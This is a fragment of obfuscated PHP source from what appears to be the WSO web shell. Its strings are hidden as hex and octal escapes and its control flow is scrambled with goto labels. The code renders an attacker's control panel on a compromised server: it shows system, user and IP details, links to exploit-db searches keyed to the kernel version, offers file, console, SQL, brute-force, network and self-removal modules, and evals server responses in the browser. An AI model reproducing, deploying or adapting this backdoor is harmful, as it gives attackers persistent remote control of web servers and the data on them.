"\47\x3b\xa\40\x20\40\x20\166\x61\x72\x20\144\40\75\x20\x64\x6f\x63\x75\x6d\145\156\164\73\xa\11\x66\165\x6e\143\x74\x69\157\x6e\40\x73\x65\x74\x28\141\54\x63\x2c\160\61\54\160\62\54\160\x33\x2c\x63\150\141\x72\x73\145\x74\51\40\x7b\12\11\11\151\146\x28\141\41\75\x6e\x75\x6c\x6c\x29\x64\56\x6d\x66\x2e\x61\x2e\166\141\x6c\165\145\75\x61\x3b\145\154\x73\145\40\x64\x2e\x6d\x66\56\x61\x2e\x76\141\154\x75\x65\x3d\x61\137\73\12\11\x9\x69\146\x28\143\41\75\x6e\x75\154\x6c\51\x64\x2e\155\x66\x2e\143\56\166\141\154\165\145\75\x63\x3b\145\x6c\163\145\x20\144\56\155\x66\56\x63\56\x76\x61\154\165\145\x3d\143\137\73\xa\x9\11\151\x66\x28\x70\61\41\x3d\x6e\165\154\x6c\51\144\x2e\x6d\x66\56\x70\x31\56\166\141\x6c\x75\145\x3d\160\61\x3b\x65\x6c\163\145\x20\x64\56\x6d\x66\56\x70\x31\x2e\166\141\x6c\x75\x65\75\x70\x31\x5f\x3b\xa\11\x9\151\146\x28\x70\62\x21\75\156\x75\x6c\x6c\51\x64\x2e\155\146\56\160\x32\56\x76\x61\154\165\x65\75\160\62\x3b\x65\x6c\163\x65\x20\144\x2e\x6d\146\x2e\x70\62\56\x76\x61\154\165\x65\x3d\x70\62\x5f\x3b\xa\11\11\151\x66\x28\x70\x33\41\75\x6e\x75\x6c\154\51\x64\56\x6d\146\56\x70\x33\56\x76\141\x6c\x75\145\75\160\63\73\145\154\x73\145\40\144\x2e\155\x66\56\160\x33\x2e\166\x61\154\165\x65\x3d\160\63\137\x3b\12\11\11\151\x66\50\143\150\x61\x72\163\145\x74\41\75\156\x75\x6c\x6c\51\144\x2e\x6d\x66\56\x63\x68\141\x72\x73\145\x74\x2e\166\141\x6c\x75\145\x3d\x63\150\x61\162\x73\145\x74\x3b\145\154\x73\x65\40\144\x2e\x6d\x66\56\x63\150\141\x72\x73\x65\164\56\x76\141\154\165\x65\75\143\x68\x61\x72\163\145\x74\x5f\73\12\11\x7d\12\x9\146\x75\x6e\143\164\151\x6f\156\x20\x67\x28\x61\x2c\x63\x2c\x70\61\54\160\x32\54\x70\x33\x2c\143\x68\141\162\x73\x65\164\51\x20\x7b\xa\11\x9\163\145\164\x28\x61\54\x63\54\160\x31\54\x70\62\54\160\x33\x2c\x63\x68\141\162\163\145\164\51\73\12\x9\11\144\x2e\155\x66\56\x73\x75\142\155\151\x74\50\x29\x3b\xa\x9\x7d\xa\x9\x66\165\x6e\x63\x74\x69\x6f\x6e\40\141\50\141\54\143\54\160\x31\x2c\160\x32\x2c\160\63\x2c\x63\x68\x61\x72\163\145\x74\51\x20\x7b\xa\x9\11\163\145\x74\x28\141\54\143\x2c\160\61\x2c\x70\x32\x2c\160\63\x2c\143\x68\141\162\163\x65\164\x29\x3b\xa\11\11\166\141\x72\40\x70\141\162\x61\x6d\163\x20\x3d\40\x27\x61\152\141\x78\75\164\x72\165\145\47\73\12\11\x9\146\157\x72\50\151\75\60\x3b\151\74\x64\x2e\x6d\x66\x2e\145\x6c\145\155\145\x6e\164\x73\x2e\154\145\x6e\x67\x74\x68\73\151\53\53\x29\xa\x9\11\11\x70\x61\x72\141\x6d\163\x20\53\75\x20\47\x26\x27\x2b\x64\56\x6d\146\56\x65\x6c\145\155\x65\x6e\164\163\133\151\135\56\x6e\x61\155\x65\x2b\x27\x3d\x27\x2b\x65\x6e\143\x6f\x64\x65\x55\122\x49\x43\157\155\x70\157\156\x65\156\164\50\144\x2e\x6d\x66\56\x65\x6c\x65\x6d\145\156\164\x73\x5b\x69\135\56\166\141\x6c\165\x65\x29\x3b\xa\x9\x9\163\x72\50\x27" . addslashes($_SERVER["\x52\105\x51\x55\105\123\124\137\x55\122\x49"]) . "\x27\x2c\x20\160\141\x72\141\x6d\x73\51\x3b\xa\x9\175\12\11\146\165\x6e\x63\x74\151\x6f\156\40\163\x72\50\x75\162\x6c\x2c\40\x70\x61\162\x61\155\163\x29\40\173\12\11\x9\x69\146\40\x28\x77\x69\x6e\x64\x6f\x77\56\130\115\x4c\110\164\x74\160\x52\x65\161\165\x65\x73\x74\x29\12\x9\x9\11\162\x65\x71\x20\75\x20\156\x65\x77\x20\x58\x4d\x4c\110\164\164\160\x52\145\x71\165\x65\163\x74\x28\x29\x3b\12\x9\11\145\x6c\163\x65\40\x69\x66\40\x28\167\151\156\x64\x6f\167\x2e\101\x63\x74\x69\166\x65\x58\x4f\142\152\x65\143\164\x29\12\11\x9\11\162\x65\161\x20\x3d\40\x6e\x65\167\40\101\143\164\151\x76\x65\130\x4f\142\152\145\143\164\50\x27\x4d\151\x63\162\x6f\163\x6f\x66\164\x2e\x58\115\x4c\x48\124\x54\x50\x27\x29\73\12\40\40\40\x20\40\40\40\x20\x69\146\40\50\162\x65\161\51\x20\173\xa\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\162\x65\161\x2e\x6f\x6e\162\145\141\144\171\x73\x74\x61\x74\x65\x63\x68\x61\156\147\145\40\75\x20\x70\162\x6f\x63\145\163\x73\x52\145\x71\x43\150\141\156\x67\145\x3b\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\162\x65\x71\x2e\157\160\x65\x6e\x28\47\120\x4f\123\x54\x27\54\40\x75\162\x6c\54\40\x74\x72\165\145\51\x3b\xa\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\162\x65\x71\x2e\163\145\164\122\145\161\165\x65\x73\164\x48\145\141\144\x65\162\40\50\x27\103\x6f\156\164\x65\156\164\x2d\x54\171\160\145\x27\54\x20\47\141\160\x70\x6c\151\143\141\x74\x69\x6f\156\57\170\x2d\x77\167\x77\x2d\146\x6f\162\x6d\55\x75\x72\x6c\x65\x6e\x63\x6f\x64\145\144\x27\51\x3b\xa\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\162\145\161\x2e\163\x65\x6e\144\50\160\141\162\x61\155\163\51\73\xa\40\x20\40\x20\40\40\x20\40\175\12\x9\175\12\11\146\165\x6e\143\x74\151\x6f\156\40\x70\162\x6f\143\x65\163\163\122\145\x71\x43\150\x61\x6e\x67\x65\x28\x29\x20\173\xa\11\x9\x69\146\50\x20\x28\162\145\161\x2e\162\145\x61\144\x79\x53\164\x61\x74\145\x20\x3d\75\x20\x34\x29\x20\x29\12\11\11\x9\x69\146\50\x72\145\161\x2e\x73\164\x61\x74\165\163\x20\x3d\75\40\x32\x30\60\x29\40\x7b\12\x9\x9\11\x9\166\141\x72\x20\162\x65\147\x20\75\x20\156\x65\167\x20\122\145\x67\x45\170\x70\50\42\x28\x5c\134\x64\53\x29\50\x5b\134\x5c\123\x5c\x5c\163\x5d\x2a\x29\42\54\40\47\x6d\x27\x29\x3b\xa\11\x9\x9\11\166\x61\x72\40\x61\x72\x72\x3d\162\145\147\x2e\145\170\x65\143\50\x72\145\x71\x2e\162\x65\x73\160\157\156\163\x65\x54\x65\x78\x74\x29\x3b\xa\11\11\11\x9\145\x76\x61\x6c\50\141\x72\x72\133\62\x5d\x2e\x73\165\x62\x73\x74\x72\50\x30\54\x20\141\x72\x72\x5b\x31\135\x29\51\x3b\xa\x9\11\x9\175\x20\145\x6c\163\x65\40\x61\154\145\162\x74\50\x27\x52\145\x71\165\x65\x73\164\x20\145\x72\162\157\x72\41\47\51\73\12\x9\175\12\74\x2f\x73\x63\x72\x69\x70\x74\76\xa\74\x68\145\141\144\x3e\74\x62\157\144\x79\x3e\74\x64\151\x76\x20\x73\x74\171\x6c\x65\75\x27\160\x6f\163\151\164\151\x6f\x6e\x3a\141\x62\x73\157\154\x75\x74\x65\73\x77\x69\144\x74\x68\x3a\61\60\60\45\73\x62\141\143\153\147\162\x6f\x75\x6e\144\55\143\x6f\x6c\x6f\x72\72\43\x34\x34\64\x3b\164\x6f\160\72\60\73\154\145\146\164\72\x30\73\47\x3e\xa\x3c\146\157\162\155\x20\x6d\x65\x74\150\x6f\144\x3d\160\x6f\x73\164\x20\156\x61\155\x65\x3d\155\x66\40\x73\164\171\x6c\145\x3d\x27\144\x69\163\160\154\x61\x79\x3a\156\157\156\x65\73\47\x3e\12\74\x69\156\x70\165\164\x20\164\171\x70\x65\75\x68\x69\x64\144\145\x6e\40\156\x61\155\x65\75\141\x3e\xa\74\x69\156\x70\165\164\x20\164\x79\x70\x65\75\150\151\x64\x64\x65\156\x20\156\141\155\145\x3d\x63\x3e\12\x3c\151\x6e\x70\165\x74\40\164\171\160\x65\x3d\x68\x69\x64\144\145\x6e\40\156\x61\x6d\x65\75\x70\x31\x3e\12\x3c\x69\x6e\160\165\164\x20\x74\x79\160\145\75\x68\151\x64\144\x65\156\40\156\141\x6d\145\x3d\160\62\76\12\74\x69\x6e\x70\165\164\x20\164\171\160\145\75\150\151\144\x64\145\x6e\x20\156\x61\x6d\145\75\x70\x33\76\xa\x3c\151\x6e\x70\165\164\40\164\x79\160\145\75\x68\x69\144\144\x65\156\40\156\141\x6d\145\x3d\143\x68\x61\162\163\x65\164\76\12\74\57\x66\157\x72\155\76"; $freeSpace = @diskfreespace($GLOBALS["\143\167\x64"]); $totalSpace = @disk_total_space($GLOBALS["\143\167\144"]); $totalSpace = $totalSpace ? $totalSpace : 1; $release = @php_uname("\162"); $kernel = @php_uname("\163"); $explink = "\x68\x74\x74\160\72\x2f\x2f\145\170\160\x6c\x6f\x69\x74\x2d\x64\142\x2e\143\x6f\155\x2f\163\145\x61\x72\143\x68\x2f\x3f\141\x63\x74\x69\157\156\75\x73\x65\x61\162\x63\150\46\x66\x69\x6c\x74\x65\x72\x5f\144\x65\x73\x63\162\151\160\x74\151\157\156\x3d"; if (strpos("\x4c\x69\156\165\x78", $kernel) !== false) { $explink .= urlencode("\x4c\x69\x6e\165\170\x20\x4b\x65\162\x6e\145\x6c\40" . substr($release, 0, 6)); } else { $explink .= urlencode($kernel . "\x20" . substr($release, 0, 3)); } if (!function_exists("\x70\x6f\163\151\170\137\147\145\164\145\x67\151\144")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "\x3f"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid["\x6e\x61\x6d\145"]; $uid = $uid["\x75\x69\x64"]; $group = $gid["\x6e\141\155\x65"]; $gid = $gid["\147\151\144"]; } $cwd_links = ''; $path = explode("\57", $GLOBALS["\143\x77\144"]); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "\74\141\40\150\x72\x65\146\75\x27\x23\47\40\x6f\156\143\x6c\x69\143\153\75\47\x67\x28\x22\106\x69\154\x65\x73\115\141\156\x22\54\x22"; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . "\x2f"; } $cwd_links .= "\x22\x29\47\x3e" . $path[$i] . "\57\74\57\x61\76"; } $charsets = array("\125\124\x46\55\70", "\x57\x69\156\x64\157\167\163\55\x31\x32\65\x31", "\113\x4f\x49\70\55\122", "\x4b\x4f\111\x38\55\125", "\x63\x70\70\66\x36"); $opt_charsets = ''; foreach ($charsets as $item) { $opt_charsets .= "\x3c\x6f\x70\x74\151\x6f\x6e\40\x76\141\154\165\145\x3d\x22" . $item . "\x22\40" . ($_POST["\x63\x68\x61\162\x73\x65\x74"] == $item ? "\163\145\154\145\143\x74\x65\144" : '') . "\x3e" . $item . "\x3c\x2f\x6f\x70\x74\151\x6f\156\76"; } $m = array("\x53\x65\x63\56\x20\111\156\146\x6f" => "\x53\145\143\111\156\x66\x6f", "\x46\151\x6c\x65\x73" => "\x46\151\154\145\x73\x4d\x61\x6e", "\x43\157\x6e\x73\x6f\154\x65" => "\103\157\x6e\163\157\154\145", "\x53\x71\x6c" => "\123\161\x6c", "\120\x68\160" => "\120\150\x70", "\x53\x74\162\151\156\x67\40\164\157\x6f\x6c\x73" => "\123\164\x72\151\156\x67\x54\x6f\x6f\154\x73", "\x42\x72\165\x74\x65\x66\x6f\162\143\145" => "\x42\162\165\x74\145\x66\x6f\x72\x63\145", "\x4e\x65\x74\167\157\162\x6b" => "\x4e\x65\x74\x77\x6f\162\x6b"); if (!empty($GLOBALS["\141\165\164\150\137\x70\141\x73\x73"])) { $m["\114\157\147\x6f\x75\x74"] = "\x4c\157\147\x6f\165\164"; } $m["\x53\x65\154\146\40\x72\145\155\157\166\145"] = "\x53\x65\x6c\x66\122\145\x6d\157\166\145"; $menu = ''; foreach ($m as $k => $v) { $menu .= "\x3c\x74\x68\40\167\x69\x64\164\x68\75\x22" . (int) (100 / count($m)) . "\x25\x22\76\133\40\74\x61\40\150\162\x65\146\75\42\x23\x22\40\x6f\156\143\154\151\x63\x6b\x3d\x22\147\x28\47" . $v . "\x27\54\x6e\165\154\154\54\47\x27\54\47\47\x2c\47\x27\51\42\76" . $k . "\74\x2f\x61\76\x20\x5d\74\x2f\164\x68\x3e"; } $drives = ''; if ($GLOBALS["\x6f\x73"] == "\x77\151\156") { foreach (range("\143", "\x7a") as $drive) { if (is_dir($drive . "\72\x5c")) { $drives .= "\x3c\x61\40\150\x72\145\146\x3d\42\x23\42\40\157\x6e\x63\154\151\x63\153\75\x22\x67\x28\x27\x46\151\154\x65\163\115\141\156\x27\x2c\47" . $drive . "\x3a\x2f\47\51\x22\76\133\40" . $drive . "\x20\135\x3c\57\x61\76\40"; } } } echo "\x3c\164\141\x62\154\145\40\143\x6c\x61\x73\163\x3d\x69\x6e\x66\x6f\40\143\x65\154\x6c\x70\x61\x64\x64\151\x6e\147\75\63\40\143\x65\154\x6c\x73\160\x61\143\x69\x6e\147\x3d\60\40\167\x69\144\164\150\75\61\60\60\45\x3e\74\164\162\x3e\x3c\x74\x64\x20\x77\x69\x64\164\150\x3d\61\76\x3c\x73\x70\141\156\x3e\x55\x6e\141\155\x65\x3a\x3c\x62\x72\x3e\x55\x73\145\162\x3a\x3c\x62\x72\76\x50\x68\x70\72\x3c\x62\162\x3e\110\x64\x64\72\x3c\142\162\76\103\x77\x64\72" . ($GLOBALS["\x6f\x73"] == "\x77\x69\x6e" ? "\x3c\142\162\x3e\x44\x72\151\166\x65\x73\72" : '') . "\x3c\x2f\x73\160\x61\156\x3e\x3c\57\x74\144\x3e" . "\x3c\164\144\x3e\x3c\x6e\157\142\x72\76" . substr(@php_uname(), 0, 120) . "\40\74\141\40\x68\x72\145\x66\x3d\42" . $explink . "\x22\x20\164\x61\x72\x67\x65\164\x3d\137\142\x6c\141\156\x6b\x3e\x5b\x65\x78\x70\x6c\157\x69\x74\55\x64\x62\x2e\143\157\x6d\135\74\x2f\141\x3e\74\x2f\156\157\142\x72\76\74\x62\162\x3e" . $uid . "\40\x28\x20" . $user . "\40\51\x20\74\x73\160\141\156\x3e\107\x72\157\165\x70\x3a\74\x2f\163\160\x61\x6e\x3e\40" . $gid . "\x20\50\x20" . $group . "\40\51\x3c\142\x72\76" . @phpversion() . "\40\74\163\160\x61\156\76\123\x61\146\145\x20\155\157\x64\145\x3a\x3c\x2f\x73\x70\x61\156\x3e\40" . ($GLOBALS["\x73\x61\146\x65\x5f\155\157\144\x65"] ? "\x3c\x66\157\156\x74\40\x63\x6f\154\157\x72\x3d\x72\x65\144\x3e\x4f\x4e\74\x2f\146\x6f\156\164\76" : "\x3c\x66\x6f\x6e\x74\x20\143\x6f\154\x6f\162\75\x67\x72\x65\x65\x6e\76\x3c\x62\76\117\x46\106\74\57\x62\x3e\x3c\57\146\157\x6e\164\x3e") . "\x20\x3c\x61\x20\x68\162\145\146\75\43\40\157\x6e\143\x6c\x69\x63\x6b\75\x22\x67\x28\47\120\150\160\47\x2c\x6e\x75\154\x6c\54\x27\47\54\47\x69\x6e\x66\x6f\x27\51\x22\76\x5b\x20\x70\x68\160\x69\156\x66\157\40\135\x3c\x2f\x61\x3e\x20\74\x73\x70\x61\156\76\x44\141\x74\145\x74\151\155\145\72\74\x2f\163\160\141\156\76\x20" . date("\131\x2d\x6d\x2d\x64\x20\x48\x3a\x69\x3a\163") . "\74\x62\162\x3e" . wsoViewSize($totalSpace) . "\40\x3c\163\x70\141\x6e\76\x46\x72\145\145\x3a\x3c\x2f\x73\x70\x61\156\76\x20" . wsoViewSize($freeSpace) . "\40\x28" . (int) ($freeSpace / $totalSpace * 100) . "\45\x29\x3c\x62\x72\x3e" . $cwd_links . "\x20" . wsoPermsColor($GLOBALS["\143\x77\144"]) . "\40\74\x61\40\x68\162\145\x66\x3d\43\40\157\156\x63\x6c\x69\x63\153\75\x22\147\x28\x27\x46\x69\154\x65\163\x4d\141\x6e\47\x2c\47" . $GLOBALS["\150\157\x6d\145\x5f\143\167\x64"] . "\47\x2c\x27\47\54\x27\47\54\47\47\x29\42\76\133\x20\x68\157\155\145\x20\135\74\x2f\x61\76\74\142\162\x3e" . $drives . "\74\x2f\x74\x64\x3e" . "\74\164\144\x20\167\x69\144\164\x68\x3d\x31\x20\x61\154\151\147\156\x3d\162\x69\147\x68\x74\x3e\74\x6e\157\x62\x72\x3e\x3c\x73\145\x6c\145\143\164\x20\x6f\156\x63\x68\x61\x6e\147\x65\75\x22\147\50\156\x75\x6c\x6c\54\x6e\x75\x6c\x6c\x2c\x6e\x75\154\154\54\156\x75\154\x6c\x2c\156\165\x6c\x6c\54\164\x68\151\163\x2e\x76\x61\x6c\x75\145\51\x22\x3e\74\x6f\160\164\x67\x72\157\x75\160\x20\x6c\x61\x62\145\154\75\x22\x50\x61\147\145\40\x63\150\x61\x72\x73\145\164\x22\76" . $opt_charsets . "\x3c\57\x6f\x70\164\x67\x72\x6f\165\160\76\x3c\x2f\163\x65\154\x65\x63\x74\76\x3c\142\x72\x3e\x3c\163\160\141\156\x3e\123\145\x72\x76\145\x72\x20\111\x50\x3a\74\x2f\x73\160\x61\x6e\x3e\74\142\x72\x3e" . @$_SERVER["\x53\x45\122\x56\x45\x52\137\x41\x44\x44\x52"] . "\x3c\x62\162\x3e\74\163\x70\141\156\76\x43\x6c\151\x65\x6e\164\x20\111\120\72\74\57\163\160\x61\x6e\76\x3c\142\x72\76" . $_SERVER["\122\105\115\x4f\x54\x45\137\x41\x44\104\122"] . "\74\57\x6e\157\142\x72\x3e\74\x2f\x74\144\x3e\x3c\x2f\x74\162\76\74\57\164\x61\142\154\x65\76" . "\x3c\x74\141\x62\x6c\x65\x20\163\x74\171\154\145\x3d\42\x62\157\162\x64\x65\x72\55\x74\x6f\160\72\62\x70\170\x20\x73\157\x6c\x69\x64\x20\43\63\x33\x33\x3b\42\40\x63\x65\x6c\x6c\x70\x61\x64\144\x69\156\x67\75\63\40\x63\145\154\154\x73\x70\x61\x63\151\156\147\x3d\60\40\167\x69\144\164\x68\x3d\61\60\x30\45\x3e\74\164\162\x3e" . $menu . "\74\x2f\164\162\x3e\x3c\57\164\x61\x62\154\x65\x3e\74\x64\151\x76\40\x73\x74\171\x6c\145\75\42\x6d\141\x72\147\x69\x6e\x3a\x35\42\x3e"; } goto wA5Y1; N2iXx: function actionStringTools() { if (!function_exists("\x68\145\x78\x32\x62\151\156")) { function hex2bin($p) { return decbin(hexdec($p)); } } if (!function_exists("\x62\x69\156\x68\145\170")) { function binhex($p) { return dechex(bindec($p)); } } if (!function_exists("\150\145\170\x32\x61\163\x63\x69\151")) { function hex2ascii($p) { $r = ''; for ($i = 0; $i < strLen($p); $i += 2) { $r .= chr(hexdec($p[$i] . $p[$i + 1])); } return $r; } } if (!function_exists("\x61\163\143\x69\151\x32\150\x65\170")) { function ascii2hex($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= sprintf("\x25\60\x32\x58", ord($p[$i])); } return strtoupper($r); } } if (!function_exists("\x66\x75\x6c\154\x5f\x75\162\154\145\156\143\x6f\144\145")) { function full_urlencode($p) { $r = ''; for ($i = 0; $i < strlen($p); ++$i) { $r .= "\45" . dechex(ord($p[$i])); } return strtoupper($r); } } $stringTools = array("\102\x61\x73\145\x36\64\40\x65\156\x63\x6f\x64\145" => "\142\141\x73\x65\66\64\x5f\145\x6e\143\157\144\x65", "\102\141\x73\x65\66\x34\x20\x64\145\x63\157\x64\145" => "\x62\141\163\x65\x36\64\x5f\144\x65\143\x6f\144\x65", "\125\x72\154\x20\145\156\143\157\x64\145" => "\x75\162\154\x65\156\143\x6f\144\145", "\x55\162\x6c\40\x64\145\143\157\x64\x65" => "\165\x72\x6c\x64\145\143\x6f\144\x65", "\106\165\x6c\154\x20\165\x72\154\145\156\143\157\x64\x65" => "\x66\165\154\x6c\137\165\162\154\145\x6e\143\157\x64\x65", "\x6d\x64\65\40\150\x61\163\x68" => "\155\144\65", "\x73\x68\141\61\x20\150\x61\x73\x68" => "\163\150\x61\x31", "\x63\x72\x79\x70\x74" => "\x63\162\171\x70\x74", "\103\x52\x43\x33\x32" => "\143\162\143\63\x32", "\x41\x53\x43\111\111\40\x74\157\x20\110\105\x58" => "\x61\163\143\x69\151\x32\x68\145\170", "\110\x45\x58\40\x74\157\x20\101\123\103\111\111" => "\x68\145\170\x32\x61\163\x63\x69\151", "\x48\105\130\40\164\157\40\104\105\x43" => "\x68\x65\x78\144\145\x63", "\110\105\130\40\164\157\40\102\x49\116" => "\150\145\170\62\x62\x69\156", "\x44\x45\103\40\164\157\x20\x48\105\x58" => "\x64\145\x63\150\145\170", "\x44\105\x43\40\164\x6f\40\x42\111\116" => "\x64\x65\x63\x62\151\156", "\102\x49\x4e\x20\164\x6f\40\x48\x45\130" => "\142\151\x6e\x68\145\x78", "\102\111\x4e\x20\x74\x6f\40\104\105\x43" => "\x62\151\156\x64\145\x63", "\x53\x74\x72\x69\x6e\x67\x20\x74\157\x20\x6c\157\167\145\x72\40\x63\x61\x73\x65" => "\x73\x74\x72\164\157\154\157\167\x65\x72", "\123\x74\162\x69\x6e\x67\x20\x74\157\x20\165\x70\x70\145\x72\40\143\141\163\x65" => "\x73\x74\162\164\x6f\165\x70\x70\x65\162", "\110\164\x6d\x6c\x73\x70\x65\143\151\141\154\x63\x68\141\162\x73" => "\150\x74\155\154\x73\x70\x65\143\x69\x61\x6c\143\x68\x61\162\163", "\x53\x74\162\151\156\147\40\x6c\x65\156\x67\x74\x68" => "\163\164\162\x6c\x65\156"); if (isset($_POST["\x61\x6a\x61\x78"])) { WSOsetcookie(md5($_SERVER["\110\124\x54\120\x5f\110\117\123\x54"]) . "\x61\152\141\x78", true); ob_start(); if (in_array($_POST["\160\x31"], $stringTools)) { echo $_POST["\x70\61"]($_POST["\160\62"]); } $temp = "\x64\x6f\x63\x75\x6d\x65\x6e\164\x2e\147\145\x74\105\154\145\x6d\145\156\164\x42\x79\111\144\50\x27\163\x74\x72\x4f\x75\164\160\x75\x74\x27\51\x2e\163\164\x79\154\x65\x2e\144\151\163\160\x6c\x61\171\x3d\47\47\x3b\144\x6f\x63\165\155\x65\156\x74\x2e\147\x65\164\105\154\145\155\x65\x6e\164\x42\171\111\144\x28\x27\x73\x74\x72\x4f\x75\x74\160\x75\164\47\51\x2e\x69\x6e\x6e\x65\x72\110\124\x4d\x4c\75\x27" . addcslashes(htmlspecialchars(ob_get_clean()), "\12\15\x9\134\47\x0") . "\x27\x3b\12"; echo strlen($temp), "\12", $temp; die; } if (empty($_POST["\x61\x6a\x61\x78"]) && !empty($_POST["\160\61"])) { WSOsetcookie(md5($_SERVER["\x48\x54\124\120\137\110\117\x53\x54"]) . "\x61\x6a\x61\x78", 0); } wsoHeader(); echo "\74\150\61\76\x53\164\x72\x69\x6e\x67\x20\x63\157\x6e\x76\x65\162\163\x69\157\156\163\74\57\x68\x31\x3e\74\x64\151\166\40\143\154\141\163\x73\x3d\143\x6f\156\164\x65\x6e\x74\76"; echo "\74\146\157\162\x6d\x20\156\141\x6d\145\75\47\x74\x6f\157\x6c\x73\x46\157\x72\155\47\x20\x6f\x6e\x53\165\142\155\x69\x74\75\x27\x69\x66\x28\164\150\x69\x73\x2e\141\x6a\x61\170\x2e\143\x68\145\x63\x6b\145\144\x29\173\141\x28\156\165\x6c\x6c\54\x6e\x75\x6c\x6c\54\x74\150\151\163\56\x73\145\154\x65\143\164\124\x6f\x6f\154\x2e\166\141\x6c\x75\x65\54\x74\150\x69\x73\x2e\151\156\x70\x75\x74\56\166\141\154\165\145\x29\x3b\175\145\154\x73\145\173\147\x28\156\x75\x6c\x6c\54\x6e\x75\x6c\154\54\164\x68\x69\x73\56\163\145\x6c\145\143\164\x54\157\x6f\x6c\x2e\166\x61\154\165\145\54\164\x68\x69\163\56\x69\156\160\165\164\56\x76\141\154\165\145\51\x3b\175\40\x72\145\164\165\162\156\x20\146\141\154\163\145\73\47\76\x3c\x73\145\154\145\143\x74\x20\156\x61\155\145\x3d\x27\x73\x65\x6c\x65\143\164\124\x6f\x6f\x6c\x27\x3e"; foreach ($stringTools as $k => $v) { echo "\74\x6f\160\164\x69\x6f\x6e\40\x76\141\x6c\165\145\75\x27" . htmlspecialchars($v) . "\47\76" . $k . "\74\57\157\160\x74\x69\x6f\156\76"; } echo "\74\57\163\x65\154\145\x63\164\76\74\151\x6e\x70\165\164\40\164\171\x70\x65\75\x27\163\x75\x62\x6d\x69\164\x27\x20\166\141\154\165\x65\x3d\x27\76\x3e\x27\x2f\76\x20\x3c\x69\156\160\165\164\40\164\171\160\x65\75\143\x68\x65\x63\153\x62\157\x78\x20\x6e\x61\x6d\145\75\141\152\141\x78\x20\166\141\x6c\165\x65\75\61\40" . (@$_COOKIE[md5($_SERVER["\110\x54\124\x50\x5f\110\x4f\123\x54"]) . "\x61\x6a\x61\x78"] ? "\143\x68\145\x63\x6b\x65\x64" : '') . "\x3e\40\x73\145\x6e\x64\x20\165\163\151\156\x67\x20\101\x4a\101\x58\74\x62\x72\x3e\74\x74\x65\170\x74\x61\162\145\141\40\x6e\141\x6d\145\75\x27\151\x6e\x70\165\164\x27\40\x73\164\x79\x6c\x65\x3d\47\x6d\141\x72\x67\x69\156\55\x74\x6f\160\x3a\65\x70\x78\47\x20\143\154\x61\163\x73\75\142\x69\147\x61\x72\145\141\76" . (empty($_POST["\x70\61"]) ? '' : htmlspecialchars(@$_POST["\160\62"])) . "\x3c\57\x74\145\170\164\x61\x72\145\x61\76\x3c\57\146\157\x72\x6d\x3e\74\160\x72\x65\x20\x63\154\x61\x73\x73\x3d\x27\155\x6c\x31\47\40\163\164\x79\x6c\x65\x3d\47" . (empty($_POST["\160\61"]) ? "\x64\151\163\160\154\x61\171\x3a\x6e\x6f\x6e\145\x3b" : '') . "\x6d\x61\x72\147\151\x6e\55\164\x6f\160\x3a\65\x70\170\47\x20\151\x64\x3d\47\163\x74\162\x4f\165\x74\160\165\x74\47\76"; if (!empty($_POST["\x70\x31"])) { if (in_array($_POST["\x70\61"], $stringTools)) { echo htmlspecialchars($_POST["\160\61"]($_POST["\x70\x32"])); } } echo "\x3c\57\x70\162\x65\x3e\x3c\x2f\144\x69\166\x3e\74\142\x72\76\74\150\61\76\123\145\141\162\x63\150\x20\x66\151\x6c\x65\163\72\74\57\150\x31\76\x3c\144\151\166\40\x63\154\141\x73\163\x3d\x63\x6f\156\x74\145\x6e\164\x3e\12\x9\11\74\x66\x6f\162\x6d\40\157\x6e\163\x75\x62\x6d\151\x74\x3d\x22\147\x28\x6e\165\x6c\154\x2c\x74\150\151\x73\x2e\143\167\144\56\166\x61\154\165\x65\54\x6e\165\154\154\x2c\x74\150\151\x73\56\164\145\x78\x74\x2e\166\x61\x6c\x75\145\x2c\164\150\x69\x73\56\x66\x69\154\x65\x6e\x61\155\x65\56\166\141\154\x75\x65\51\73\x72\x65\164\x75\162\x6e\40\146\x61\154\x73\145\73\42\x3e\74\x74\x61\142\x6c\x65\x20\x63\145\154\x6c\160\x61\x64\x64\x69\x6e\147\x3d\47\x31\47\x20\143\145\154\x6c\163\x70\x61\143\x69\156\x67\x3d\x27\60\x27\x20\x77\x69\x64\x74\150\75\x27\x35\x30\x25\x27\x3e\xa\x9\11\11\74\164\x72\x3e\x3c\164\144\40\x77\151\144\164\150\x3d\x27\x31\x25\x27\x3e\x54\x65\170\164\x3a\x3c\x2f\164\x64\x3e\x3c\x74\144\x3e\x3c\151\156\x70\x75\x74\x20\x74\171\160\145\75\47\164\145\x78\164\x27\x20\x6e\141\x6d\x65\x3d\x27\164\145\170\164\x27\x20\163\164\171\154\x65\75\x27\x77\x69\x64\164\x68\x3a\x31\60\x30\x25\x27\76\74\57\164\144\x3e\74\57\164\162\x3e\xa\x9\11\x9\74\x74\162\x3e\74\164\144\76\x50\141\x74\x68\x3a\74\57\164\x64\76\74\164\x64\76\74\x69\156\x70\x75\164\40\x74\x79\x70\145\75\47\x74\145\x78\x74\x27\x20\156\x61\155\145\75\x27\x63\167\x64\x27\x20\166\141\154\165\145\75\x27" . htmlspecialchars($GLOBALS["\x63\167\144"]) . 